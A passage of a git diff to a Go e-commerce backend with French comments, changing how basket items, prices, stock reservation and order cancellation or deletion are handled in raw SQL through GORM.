nameProduct, category).Scan(&productResult).Error
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("erreur lors de la recherche du produit: %w", err)
|
||||||
|
}
|
||||||
|
if productResult.ID == 0 {
|
||||||
|
return nil, fmt.Errorf("produit '%s' non trouvé dans la catégorie '%s'", nameProduct, category)
|
||||||
|
}
|
||||||
|
productID := productResult.ID
|
||||||
|
|
||||||
|
price, err := d.GetProductPrice(nameProduct, category, quantity)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("erreur récupération prix: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
var existing struct {
|
||||||
|
ID int `gorm:"column:id"`
|
||||||
|
Quantity float64 `gorm:"column:quantity"`
|
||||||
|
Price float64 `gorm:"column:price"`
|
||||||
|
}
|
||||||
|
d.GDB.Raw(`SELECT id, quantity, price FROM baskets WHERE username = ? AND product_id = ?`,
|
||||||
|
username, productID).Scan(&existing)
|
||||||
|
|
||||||
|
var basket models.Panier
|
||||||
|
if existing.ID != 0 {
|
||||||
|
newQuantity := existing.Quantity + quantity
|
||||||
|
newPrice := existing.Price + price
|
||||||
|
err = d.GDB.Raw(`
|
||||||
|
UPDATE baskets SET quantity = ?, price = ?, created_at = CURRENT_TIMESTAMP
|
||||||
|
WHERE id = ? RETURNING id, username, product_id, quantity, price, created_at`,
|
||||||
|
newQuantity, newPrice, existing.ID).Scan(&basket).Error
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("erreur lors de la mise à jour du panier: %w", err)
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
err = d.GDB.Raw(`
|
||||||
|
INSERT INTO baskets (username, product_id, quantity, price, created_at)
|
||||||
|
VALUES (?, ?, ?, ?, CURRENT_TIMESTAMP)
|
||||||
|
RETURNING id, username, product_id, quantity, price, created_at`,
|
||||||
|
username, productID, quantity, price).Scan(&basket).Error
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("erreur lors de l'ajout au panier: %w", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return &basket, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// GetProductPriceByID récupère le prix d'un produit par son ID et quantité
|
||||||
|
func (d *Database) GetProductPriceByID(productID int, quantity float64) (float64, error) {
|
||||||
|
var result struct {
|
||||||
|
Price float64 `gorm:"column:price"`
|
||||||
|
}
|
||||||
|
|
||||||
|
err := d.GDB.Raw(`
|
||||||
|
SELECT price FROM product_prices
|
||||||
|
WHERE product_id = ? AND quantity = ROUND(?::NUMERIC, 3)
|
||||||
|
LIMIT 1`, productID, quantity).Scan(&result).Error
|
||||||
|
if err == nil && result.Price > 0 {
|
||||||
|
return result.Price, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
err = d.GDB.Raw(`
|
||||||
|
SELECT price FROM product_prices
|
||||||
|
WHERE product_id = ? AND quantity <= ROUND(?::NUMERIC, 3)
|
||||||
|
ORDER BY quantity DESC LIMIT 1`, productID, quantity).Scan(&result).Error
|
||||||
|
if err != nil || result.Price == 0 {
|
||||||
|
return 0, fmt.Errorf("aucun prix trouvé pour product_id=%d qty=%.3f", productID, quantity)
|
||||||
|
}
|
||||||
|
return result.Price, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// GetProductStockByID récupère le stock d'un produit par son ID
|
||||||
|
func (d *Database) GetProductStockByID(productID int) (float64, error) {
|
||||||
|
var result struct {
|
||||||
|
Stock float64 `gorm:"column:stock"`
|
||||||
|
}
|
||||||
|
err := d.GDB.Raw(`SELECT stock FROM products WHERE id = ?`, productID).Scan(&result).Error
|
||||||
|
if err != nil {
|
||||||
|
return 0, fmt.Errorf("produit %d non trouvé: %w", productID, err)
|
||||||
|
}
|
||||||
|
return result.Stock, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// AddProductInBasketByID ajoute un produit au panier en utilisant son ID directement
|
||||||
|
func (d *Database) AddProductInBasketByID(username string, productID int, quantity float64) (*models.Panier, error) {
|
||||||
|
price, err := d.GetProductPriceByID(productID, quantity)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("erreur récupération prix: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
var existing struct {
|
||||||
|
ID int `gorm:"column:id"`
|
||||||
|
Quantity float64 `gorm:"column:quantity"`
|
||||||
|
Price float64 `gorm:"column:price"`
|
||||||
|
}
|
||||||
|
d.GDB.Raw(`SELECT id, quantity, price FROM baskets WHERE username = ? AND product_id = ?`,
|
||||||
|
username, productID).Scan(&existing)
|
||||||
|
|
||||||
|
var basket models.Panier
|
||||||
|
if existing.ID != 0 {
|
||||||
|
newQuantity := existing.Quantity + quantity
|
||||||
|
newPrice := existing.Price + price
|
||||||
|
err = d.GDB.Raw(`
|
||||||
|
UPDATE baskets SET quantity = ?, price = ?, created_at = CURRENT_TIMESTAMP
|
||||||
|
WHERE id = ? RETURNING id, username, product_id, quantity, price, created_at`,
|
||||||
|
newQuantity, newPrice, existing.ID).Scan(&basket).Error
|
||||||
|
} else {
|
||||||
|
err = d.GDB.Raw(`
|
||||||
|
INSERT INTO baskets (username, product_id, quantity, price, created_at)
|
||||||
|
VALUES (?, ?, ?, ?, CURRENT_TIMESTAMP)
|
||||||
|
RETURNING id, username, product_id, quantity, price, created_at`,
|
||||||
|
username, productID, quantity, price).Scan(&basket).Error
|
||||||
|
}
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("erreur panier: %w", err)
|
||||||
|
}
|
||||||
|
return &basket, nil
|
||||||
|
}
|
||||||
|
|
||||||
// GetProductPrice récupère le prix réel d'un produit pour une quantité donnée (legacy)
|
// GetProductPrice récupère le prix réel d'un produit pour une quantité donnée (legacy)
|
||||||
func (d *Database) GetProductPrice(name, category string, quantity float64) (float64, error) {
|
func (d *Database) GetProductPrice(name, category string, quantity float64) (float64, error) {
|
||||||
var result struct {
|
var result struct {
|
||||||
@@ -27,11 +153,37 @@ func (d *Database) GetProductPrice(name, category string, quantity float64) (flo
|
|||||||
return result.Price, nil
|
return result.Price, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func (d *Database) GetProductStock(name, category string) (float64, error) {
|
||||||
|
var result struct {
|
||||||
|
Stock float64 `gorm:"column:stock"`
|
||||||
|
}
|
||||||
|
err := d.GDB.Raw(`SELECT stock FROM products WHERE LOWER(name) = LOWER(?) AND LOWER(category) = LOWER(?)`,
|
||||||
|
name, category).Scan(&result).Error
|
||||||
|
if err != nil {
|
||||||
|
return 0, fmt.Errorf("produit non trouvé: %w", err)
|
||||||
|
}
|
||||||
|
return result.Stock, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (d *Database) DecrementProductStock(name, category string, quantity float64) error {
|
||||||
|
result := d.GDB.Exec(`
|
||||||
|
UPDATE products SET stock = stock - ?
|
||||||
|
WHERE LOWER(name) = LOWER(?) AND LOWER(category) = LOWER(?) AND stock >= ?`,
|
||||||
|
quantity, name, category, quantity)
|
||||||
|
if result.Error != nil {
|
||||||
|
return fmt.Errorf("erreur mise à jour stock: %w", result.Error)
|
||||||
|
}
|
||||||
|
if result.RowsAffected == 0 {
|
||||||
|
return fmt.Errorf("stock insuffisant pour le produit")
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
// GetAllProductsInBasket récupère tous les produits du panier d'un utilisateur
|
// GetAllProductsInBasket récupère tous les produits du panier d'un utilisateur
|
||||||
func (d *Database) GetAllProductsInBasket(username string) ([]models.Panier, error) {
|
func (d *Database) GetAllProductsInBasket(username string) ([]models.Panier, error) {
|
||||||
var baskets []models.Panier
|
var baskets []models.Panier
|
||||||
err := d.GDB.Raw(`
|
err := d.GDB.Raw(`
|
||||||
SELECT b.id, b.username, b.product_id, b.quantity, b.price, b.is_reward, b.created_at,
|
SELECT b.id, b.username, b.product_id, b.quantity, b.price, b.created_at,
|
||||||
p.name as product_name, p.category, p.description
|
p.name as product_name, p.category, p.description
|
||||||
FROM baskets b
|
FROM baskets b
|
||||||
INNER JOIN products p ON b.product_id = p.id
|
INNER JOIN products p ON b.product_id = p.id
|
||||||
@@ -43,114 +195,107 @@ func (d *Database) GetAllProductsInBasket(username string) ([]models.Panier, err
|
|||||||
return baskets, nil
|
return baskets, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
// AddRewardsToBasket ajoute plusieurs produits récompense au panier (prix = 0, is_reward = true).
|
// DecrementProductStockByID décrémente le stock d'un produit par son ID
|
||||||
// Supprime les anciens items récompense avant d'insérer les nouveaux.
|
func (d *Database) DecrementProductStockByID(productID int, quantity float64) error {
|
||||||
// Pas de vérification de stock — les récompenses sont gérées par l'admin.
|
result := d.GDB.Exec(`
|
||||||
func (d *Database) AddRewardsToBasket(username string, items []models.RewardItem, poolKey string) ([]models.Panier, error) {
|
UPDATE products SET stock = stock - ?
|
||||||
var baskets []models.Panier
|
WHERE id = ? AND stock >= ?`, quantity, productID, quantity)
|
||||||
err := d.GDB.Transaction(func(tx *gorm.DB) error {
|
if result.Error != nil {
|
||||||
// Supprimer tout article récompense existant (remplacement)
|
return fmt.Errorf("erreur lors de la mise à jour du stock: %w", result.Error)
|
||||||
tx.Exec(`DELETE FROM baskets WHERE username = ? AND is_reward = true`, username)
|
}
|
||||||
for _, item := range items {
|
if result.RowsAffected == 0 {
|
||||||
if item.ProductID <= 0 || item.Quantity <= 0 {
|
return fmt.Errorf("stock insuffisant pour le produit %d", productID)
|
||||||
continue
|
}
|
||||||
}
|
return nil
|
||||||
var productName string
|
}
|
||||||
if err := tx.Raw(`SELECT name FROM products WHERE id = ?`, item.ProductID).Scan(&productName).Error; err != nil || productName == "" {
|
|
||||||
return fmt.Errorf("produit récompense introuvable (id=%d)", item.ProductID)
|
// DeleteProductFromBasket supprime un produit spécifique du panier et restitue le stock.
|
||||||
}
|
func (d *Database) DeleteProductFromBasket(basketID int) error {
|
||||||
var basket models.Panier
|
return d.GDB.Transaction(func(tx *gorm.DB) error {
|
||||||
if err := tx.Raw(`
|
var item struct {
|
||||||
INSERT INTO baskets (username, product_id, quantity, price, is_reward, reward_pool_key, created_at)
|
ProductID int `gorm:"column:product_id"`
|
||||||
VALUES (?, ?, ?, 0, true, ?, CURRENT_TIMESTAMP)
|
Quantity float64 `gorm:"column:quantity"`
|
||||||
RETURNING id, username, product_id, quantity, price, is_reward, reward_pool_key, created_at`,
|
}
|
||||||
username, item.ProductID, item.Quantity, poolKey).Scan(&basket).Error; err != nil {
|
if err := tx.Raw(`SELECT product_id, quantity FROM baskets WHERE id = ?`, basketID).Scan(&item).Error; err != nil {
|
||||||
return err
|
return fmt.Errorf("produit non trouvé dans le panier")
|
||||||
}
|
}
|
||||||
baskets = append(baskets, basket)
|
if item.ProductID == 0 {
|
||||||
|
return fmt.Errorf("produit non trouvé dans le panier")
|
||||||
|
}
|
||||||
|
|
||||||
|
if err := tx.Exec(`UPDATE products SET stock = stock + ? WHERE id = ?`,
|
||||||
|
item.Quantity, item.ProductID).Error; err != nil {
|
||||||
|
return fmt.Errorf("erreur restitution stock: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
result := tx.Exec(`DELETE FROM baskets WHERE id = ?`, basketID)
|
||||||
|
if result.Error != nil {
|
||||||
|
return fmt.Errorf("erreur lors de la suppression du produit: %w", result.Error)
|
||||||
|
}
|
||||||
|
if result.RowsAffected == 0 {
|
||||||
|
return fmt.Errorf("produit non trouvé dans le panier")
|
||||||
}
|
}
|
||||||
return nil
|
return nil
|
||||||
})
|
})
|
||||||
if err != nil {
|
|
||||||
return nil, err
|
|
||||||
}
|
|
||||||
return baskets, nil
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// HasOnlyRewardItems retourne true si le panier ne contient que des articles récompense.
|
// ClearBasket vide complètement le panier d'un utilisateur et restitue les stocks.
|
||||||
func (d *Database) HasOnlyRewardItems(username string) (bool, error) {
|
func (d *Database) ClearBasket(username string) error {
|
||||||
var counts struct {
|
return d.GDB.Transaction(func(tx *gorm.DB) error {
|
||||||
Total int `gorm:"column:total"`
|
if err := tx.Exec(`
|
||||||
Normal int `gorm:"column:normal"`
|
UPDATE products p
|
||||||
}
|
SET stock = stock + b.quantity
|
||||||
err := d.GDB.Raw(`
|
FROM baskets b
|
||||||
SELECT COUNT(*) as total,
|
WHERE b.username = ? AND b.product_id = p.id`, username).Error; err != nil {
|
||||||
COUNT(*) FILTER (WHERE is_reward = false) as normal
|
return fmt.Errorf("erreur restitution stock: %w", err)
|
||||||
FROM baskets WHERE username = ?`, username).Scan(&counts).Error
|
|
||||||
if err != nil {
|
|
||||||
return false, err
|
|
||||||
}
|
|
||||||
return counts.Total > 0 && counts.Normal == 0, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// AddToBasket vérifie le stock disponible et ajoute l'article au panier.
|
|
||||||
// Le stock n'est pas décrémenté ici — il l'est uniquement au checkout.
|
|
||||||
func (d *Database) AddToBasket(username string, productID int, quantity float64) (*models.Panier, error) {
|
|
||||||
var basket models.Panier
|
|
||||||
err := d.GDB.Transaction(func(tx *gorm.DB) error {
|
|
||||||
var currentStock float64
|
|
||||||
if err := tx.Raw(`SELECT stock FROM products WHERE id = ? FOR UPDATE`, productID).Scan(¤tStock).Error; err != nil {
|
|
||||||
return fmt.Errorf("erreur lecture stock: %w", err)
|
|
||||||
}
|
}
|
||||||
if currentStock < quantity {
|
if err := tx.Exec(`DELETE FROM baskets WHERE username = ?`, username).Error; err != nil {
|
||||||
return fmt.Errorf("stock insuffisant")
|
return fmt.Errorf("erreur lors du vidage du panier: %w", err)
|
||||||
}
|
}
|
||||||
|
return nil
|
||||||
var priceResult struct {
|
|
||||||
Price float64 `gorm:"column:price"`
|
|
||||||
}
|
|
||||||
if err := tx.Raw(`
|
|
||||||
SELECT price FROM product_prices
|
|
||||||
WHERE product_id = ? AND quantity <= ? AND active_price = true
|
|
||||||
ORDER BY quantity DESC LIMIT 1`,
|
|
||||||
productID, quantity).Scan(&priceResult).Error; err != nil || priceResult.Price == 0 {
|
|
||||||
return fmt.Errorf("prix introuvable pour product_id=%d qty=%.3f", productID, quantity)
|
|
||||||
}
|
|
||||||
|
|
||||||
var existing struct {
|
|
||||||
ID int `gorm:"column:id"`
|
|
||||||
Quantity float64 `gorm:"column:quantity"`
|
|
||||||
Price float64 `gorm:"column:price"`
|
|
||||||
}
|
|
||||||
// Chercher uniquement un item normal (non-récompense) pour ce produit
|
|
||||||
tx.Raw(`SELECT id, quantity, price FROM baskets WHERE username = ? AND product_id = ? AND is_reward = false`,
|
|
||||||
username, productID).Scan(&existing)
|
|
||||||
|
|
||||||
if existing.ID != 0 {
|
|
||||||
return tx.Raw(`
|
|
||||||
UPDATE baskets SET quantity = ?, price = ?, created_at = CURRENT_TIMESTAMP
|
|
||||||
WHERE id = ? AND is_reward = false RETURNING id, username, product_id, quantity, price, is_reward, created_at`,
|
|
||||||
existing.Quantity+quantity, existing.Price+priceResult.Price,
|
|
||||||
existing.ID).Scan(&basket).Error
|
|
||||||
}
|
|
||||||
return tx.Raw(`
|
|
||||||
INSERT INTO baskets (username, product_id, quantity, price, is_reward, created_at)
|
|
||||||
VALUES (?, ?, ?, ?, false, CURRENT_TIMESTAMP)
|
|
||||||
RETURNING id, username, product_id, quantity, price, is_reward, created_at`,
|
|
||||||
username, productID, quantity, priceResult.Price).Scan(&basket).Error
|
|
||||||
})
|
})
|
||||||
if err != nil {
|
|
||||||
return nil, err
|
|
||||||
}
|
|
||||||
return &basket, nil
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// DeleteProductFromBasket supprime un produit spécifique du panier.
|
// ClearBasketOnCheckout vide le panier après commande validée SANS restituer le stock.
|
||||||
// Le stock n'est pas restitué car il n'a pas été décrémenté à l'ajout.
|
func (d *Database) ClearBasketOnCheckout(username string) error {
|
||||||
func (d *Database) DeleteProductFromBasket(basketID int) error {
|
return d.GDB.Exec(`DELETE FROM baskets WHERE username = ?`, username).Error
|
||||||
result := d.GDB.Exec(`DELETE FROM baskets WHERE id = ?`, basketID)
|
}
|
||||||
|
|
||||||
|
// GetBasketTotal calcule le montant total du panier d'un utilisateur
|
||||||
|
func (d *Database) GetBasketTotal(username string) (float64, error) {
|
||||||
|
var result struct {
|
||||||
|
Total float64 `gorm:"column:total"`
|
||||||
|
}
|
||||||
|
err := d.GDB.Raw(`SELECT COALESCE(SUM(price), 0) as total FROM baskets WHERE username = ?`,
|
||||||
|
username).Scan(&result).Error
|
||||||
|
if err != nil {
|
||||||
|
return 0, fmt.Errorf("erreur lors du calcul du total: %w", err)
|
||||||
|
}
|
||||||
|
return result.Total, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// GetBasketItemCount compte le nombre d'items dans le panier
|
||||||
|
func (d *Database) GetBasketItemCount(username string) (int, error) {
|
||||||
|
var result struct {
|
||||||
|
Count int `gorm:"column:count"`
|
||||||
|
}
|
||||||
|
err := d.GDB.Raw(`SELECT COUNT(*) as count FROM baskets WHERE username = ?`,
|
||||||
|
username).Scan(&result).Error
|
||||||
|
if err != nil {
|
||||||
|
return 0, fmt.Errorf("erreur lors du comptage des items: %w", err)
|
||||||
|
}
|
||||||
|
return result.Count, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// UpdateBasketItemQuantity met à jour la quantité d'un item du panier
|
||||||
|
func (d *Database) UpdateBasketItemQuantity(basketID int, quantity float64) error {
|
||||||
|
if quantity <= 0 {
|
||||||
|
return fmt.Errorf("la quantité doit être supérieure à 0")
|
||||||
|
}
|
||||||
|
result := d.GDB.Exec(`UPDATE baskets SET quantity = ?, created_at = CURRENT_TIMESTAMP WHERE id = ?`,
|
||||||
|
quantity, basketID)
|
||||||
if result.Error != nil {
|
if result.Error != nil {
|
||||||
return fmt.Errorf("erreur lors de la suppression du produit: %w", result.Error)
|
return fmt.Errorf("erreur lors de la mise à jour de la quantité: %w", result.Error)
|
||||||
}
|
}
|
||||||
if result.RowsAffected == 0 {
|
if result.RowsAffected == 0 {
|
||||||
return fmt.Errorf("produit non trouvé dans le panier")
|
return fmt.Errorf("produit non trouvé dans le panier")
|
||||||
@@ -158,39 +303,53 @@ func (d *Database) DeleteProductFromBasket(basketID int) error {
|
|||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
// ClearBasket vide complètement le panier d'un utilisateur.
|
// ExtendBasketReservations prolonge les réservations
|
||||||
// Le stock n'est pas restitué car il n'a pas été décrémenté à l'ajout.
|
func (d *Database) ExtendBasketReservations(username string) error {
|
||||||
func (d *Database) ClearBasket(username string) error {
|
var items []struct {
|
||||||
return d.GDB.Exec(`DELETE FROM baskets WHERE username = ?`, username).Error
|
ProductID int `gorm:"column:product_id"`
|
||||||
|
Quantity float64 `gorm:"column:quantity"`
|
||||||
|
}
|
||||||
|
if err := d.GDB.Raw(`SELECT product_id, quantity FROM baskets WHERE username = ?`, username).Scan(&items).Error; err != nil {
|
||||||
|
return fmt.Errorf("erreur récupération panier: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, item := range items {
|
||||||
|
var stockResult struct {
|
||||||
|
Stock float64 `gorm:"column:stock"`
|
||||||
|
}
|
||||||
|
if err := d.GDB.Raw(`SELECT stock FROM products WHERE id = ?`, item.ProductID).Scan(&stockResult).Error; err != nil {
|
||||||
|
return fmt.Errorf("produit %d non trouvé: %w", item.ProductID, err)
|
||||||
|
}
|
||||||
|
if stockResult.Stock < item.Quantity {
|
||||||
|
return fmt.Errorf("stock insuffisant pour le produit %d (demandé: %g, disponible: %g)",
|
||||||
|
item.ProductID, item.Quantity, stockResult.Stock)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
newReservation := time.Now().Add(15 * time.Minute)
|
||||||
|
if err := d.GDB.Exec(`UPDATE baskets SET reserved_until = ? WHERE username = ?`,
|
||||||
|
newReservation, username).Error; err != nil {
|
||||||
|
return fmt.Errorf("erreur prolongation: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
log.Printf("✅ Réservations prolongées pour %s jusqu'à %s",
|
||||||
|
username, newReservation.Format("15:04:05"))
|
||||||
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
// ClearBasketOnCheckout décrémente le stock pour chaque article du panier puis vide le panier.
|
// CheckBasketReservations vérifie si les réservations sont expirées
|
||||||
// C'est ici que le stock est effectivement consommé, au moment de la validation de la commande.
|
func (d *Database) CheckBasketReservations(username string) (bool, error) {
|
||||||
func (d *Database) ClearBasketOnCheckout(username string) error {
|
var result struct {
|
||||||
return d.GDB.Transaction(func(tx *gorm.DB) error {
|
Count int `gorm:"column:count"`
|
||||||
var items []struct {
|
}
|
||||||
ProductID int `gorm:"column:product_id"`
|
err := d.GDB.Raw(`
|
||||||
Quantity float64 `gorm:"column:quantity"`
|
SELECT COUNT(*) as count FROM baskets
|
||||||
}
|
WHERE username = ? AND (reserved_until IS NULL OR reserved_until < CURRENT_TIMESTAMP)`,
|
||||||
if err := tx.Raw(`SELECT product_id, quantity FROM baskets WHERE username = ? FOR UPDATE`, username).Scan(&items).Error; err != nil {
|
username).Scan(&result).Error
|
||||||
return fmt.Errorf("erreur lecture panier: %w", err)
|
if err != nil {
|
||||||
}
|
return false, err
|
||||||
|
}
|
||||||
for _, item := range items {
|
return result.Count > 0, nil
|
||||||
var currentStock float64
|
|
||||||
if err := tx.Raw(`SELECT stock FROM products WHERE id = ? FOR UPDATE`, item.ProductID).Scan(¤tStock).Error; err != nil {
|
|
||||||
return fmt.Errorf("erreur lecture stock produit %d: %w", item.ProductID, err)
|
|
||||||
}
|
|
||||||
if currentStock < item.Quantity {
|
|
||||||
return fmt.Errorf("stock insuffisant pour le produit %d", item.ProductID)
|
|
||||||
}
|
|
||||||
if err := tx.Exec(`UPDATE products SET stock = stock - ? WHERE id = ?`, item.Quantity, item.ProductID).Error; err != nil {
|
|
||||||
return fmt.Errorf("erreur décrémentation stock produit %d: %w", item.ProductID, err)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return tx.Exec(`DELETE FROM baskets WHERE username = ?`, username).Error
|
|
||||||
})
|
|
||||||
}
|
}
|
||||||
|
|
||||||
func (d *Database) GetBasketItemOwner(basketID int) (string, error) {
|
func (d *Database) GetBasketItemOwner(basketID int) (string, error) {
|
||||||
@@ -205,39 +364,9 @@ func (d *Database) GetBasketItemOwner(basketID int) (string, error) {
|
|||||||
return username, nil
|
return username, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
// GetUnavailableBasketItems retourne les noms des produits du panier dont tous les prix ont été désactivés.
|
|
||||||
func (d *Database) GetUnavailableBasketItems(username string) ([]string, error) {
|
|
||||||
var names []string
|
|
||||||
err := d.GDB.Raw(`
|
|
||||||
SELECT DISTINCT p.name
|
|
||||||
FROM baskets b
|
|
||||||
INNER JOIN products p ON b.product_id = p.id
|
|
||||||
WHERE b.username = ?
|
|
||||||
AND NOT EXISTS (
|
|
||||||
SELECT 1 FROM product_prices pp
|
|
||||||
WHERE pp.product_id = b.product_id
|
|
||||||
AND pp.quantity <= b.quantity
|
|
||||||
AND pp.active_price = true
|
|
||||||
)`, username).Scan(&names).Error
|
|
||||||
if err != nil {
|
|
||||||
return nil, fmt.Errorf("erreur vérification disponibilité: %w", err)
|
|
||||||
}
|
|
||||||
return names, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// GetReservedQuantityInBaskets retourne la somme des quantités d'un produit dans tous les paniers actifs.
|
|
||||||
func (d *Database) GetReservedQuantityInBaskets(productID int) (float64, error) {
|
|
||||||
var total float64
|
|
||||||
err := d.GDB.Raw(`SELECT COALESCE(SUM(quantity), 0) FROM baskets WHERE product_id = ?`, productID).Scan(&total).Error
|
|
||||||
if err != nil {
|
|
||||||
return 0, fmt.Errorf("erreur lecture réservations panier: %w", err)
|
|
||||||
}
|
|
||||||
return total, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
func (d *Database) GetBasketItems(username string) ([]map[string]any, error) {
|
func (d *Database) GetBasketItems(username string) ([]map[string]any, error) {
|
||||||
var items []map[string]any
|
var items []map[string]any
|
||||||
if err := d.GDB.Raw(`SELECT product_id, quantity::float8 as quantity, price::float8 as price, is_reward FROM baskets WHERE username = ?`,
|
if err := d.GDB.Raw(`SELECT product_id, quantity::float8 as quantity, price::float8 as price FROM baskets WHERE username = ?`,
|
||||||
username).Scan(&items).Error; err != nil {
|
username).Scan(&items).Error; err != nil {
|
||||||
return nil, err
|
return nil, err
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,3 +1,8 @@
|
|||||||
|
// ============================================
|
||||||
|
// db/cancel_commands_db.go
|
||||||
|
// FONCTIONS DB ATOMIQUES POUR L'ANNULATION
|
||||||
|
// ============================================
|
||||||
|
|
||||||
package db
|
package db
|
||||||
|
|
||||||
import (
|
import (
|
||||||
@@ -81,9 +86,10 @@ func (d *Database) CancelCommandAtomic(commandID int, username, reason string, f
|
|||||||
SET stock = stock + ci.quantite, updated_at = CURRENT_TIMESTAMP
|
SET stock = stock + ci.quantite, updated_at = CURRENT_TIMESTAMP
|
||||||
FROM command_items ci
|
FROM command_items ci
|
||||||
WHERE ci.command_id = ? AND ci.product_id = p.id`, commandID).Error; err != nil {
|
WHERE ci.command_id = ? AND ci.product_id = p.id`, commandID).Error; err != nil {
|
||||||
return fmt.Errorf("erreur remboursement stock: %w", err)
|
log.Printf("⚠️ [CancelAtomic] Erreur remboursement stock: %v", err)
|
||||||
|
} else {
|
||||||
|
log.Printf("✅ [CancelAtomic] Stock remboursé")
|
||||||
}
|
}
|
||||||
log.Printf("✅ [CancelAtomic] Stock remboursé")
|
|
||||||
|
|
||||||
if err := tx.Exec(`
|
if err := tx.Exec(`
|
||||||
UPDATE clients
|
UPDATE clients
|
||||||
@@ -173,6 +179,8 @@ func (d *Database) CheckCommandETAExistsAndValid(commandID int) bool {
|
|||||||
}
|
}
|
||||||
|
|
||||||
func (d *Database) DeleteCommandAtomic(commandID int, deletedBy, role string) error {
|
func (d *Database) DeleteCommandAtomic(commandID int, deletedBy, role string) error {
|
||||||
|
log.Printf("🔒 [DeleteAtomic] START - cmd=%d, by=%s (%s)", commandID, deletedBy, role)
|
||||||
|
|
||||||
return d.GDB.Transaction(func(tx *gorm.DB) error {
|
return d.GDB.Transaction(func(tx *gorm.DB) error {
|
||||||
var cmdResult struct {
|
var cmdResult struct {
|
||||||
Status string `gorm:"column:status"`
|
Status string `gorm:"column:status"`
|
||||||
@@ -180,8 +188,8 @@ func (d *Database) DeleteCommandAtomic(commandID int, deletedBy, role string) er
|
|||||||
LivreurAssign string `gorm:"column:livreur_assign"`
|
LivreurAssign string `gorm:"column:livreur_assign"`
|
||||||
}
|
}
|
||||||
err := tx.Raw(`
|
err := tx.Raw(`
|
||||||
SELECT status, username, COALESCE(livreur_assign, '') as livreur_assign
|
SELECT status, username, COALESCE(livreur_assign, '') as livreur_assign
|
||||||
FROM commandes WHERE id = ? FOR UPDATE`, commandID).Scan(&cmdResult).Error
|
FROM commandes WHERE id = ? FOR UPDATE`, commandID).Scan(&cmdResult).Error
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
@@ -191,26 +199,19 @@ func (d *Database) DeleteCommandAtomic(commandID int, deletedBy, role string) er
|
|||||||
|
|
||||||
log.Printf("📋 [DeleteAtomic] Trouvée - status=%s, client=%s", cmdResult.Status, cmdResult.Username)
|
log.Printf("📋 [DeleteAtomic] Trouvée - status=%s, client=%s", cmdResult.Status, cmdResult.Username)
|
||||||
|
|
||||||
// ✅ Ne restitue le stock QUE si pas déjà fait
|
if err := tx.Exec(`
|
||||||
stockAlreadyRestored := cmdResult.Status == "cancelled" || cmdResult.Status == "approved"
|
UPDATE products p
|
||||||
if !stockAlreadyRestored {
|
SET stock = stock + ci.quantite, updated_at = CURRENT_TIMESTAMP
|
||||||
if err := tx.Exec(`
|
FROM command_items ci
|
||||||
UPDATE products p
|
WHERE ci.command_id = ? AND ci.product_id = p.id`, commandID).Error; err != nil {
|
||||||
SET stock = stock + ci.quantite, updated_at = CURRENT_TIMESTAMP
|
log.Printf("⚠️ [DeleteAtomic] Erreur remboursement: %v", err)
|
||||||
FROM command_items ci
|
|
||||||
WHERE ci.command_id = ? AND ci.product_id = p.id`, commandID).Error; err != nil {
|
|
||||||
log.Printf("⚠️ [DeleteAtomic] Erreur remboursement: %v", err)
|
|
||||||
} else {
|
|
||||||
log.Printf("✅ [DeleteAtomic] Stock remboursé (statut: %s)", cmdResult.Status)
|
|
||||||
}
|
|
||||||
} else {
|
} else {
|
||||||
log.Printf("⏭️ [DeleteAtomic] Stock NON restitué - statut=%s", cmdResult.Status)
|
log.Printf("✅ [DeleteAtomic] Stock remboursé")
|
||||||
}
|
}
|
||||||
|
|
||||||
// ✅ Log suppression
|
|
||||||
tx.Exec(`
|
tx.Exec(`
|
||||||
INSERT INTO command_logs (command_id, status, message, author, created_at)
|
INSERT INTO command_logs (command_id, status, message, author, created_at)
|
||||||
VALUES (?, ?, ?, ?, CURRENT_TIMESTAMP)`,
|
VALUES (?, ?, ?, ?, CURRENT_TIMESTAMP)`,
|
||||||
commandID, "deleted",
|
commandID, "deleted",
|
||||||
fmt.Sprintf("Supprimée par %s (%s) - Ancien statut: %s", deletedBy, role, cmdResult.Status),
|
fmt.Sprintf("Supprimée par %s (%s) - Ancien statut: %s", deletedBy, role, cmdResult.Status),
|
||||||
deletedBy)
|
deletedBy)
|
||||||
@@ -315,13 +316,3 @@ func (d *Database) AddClientPenalty(username string, points int) error {
|
|||||||
|
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func (d *Database) RestoreCommandStock(commandID int) error {
|
|
||||||
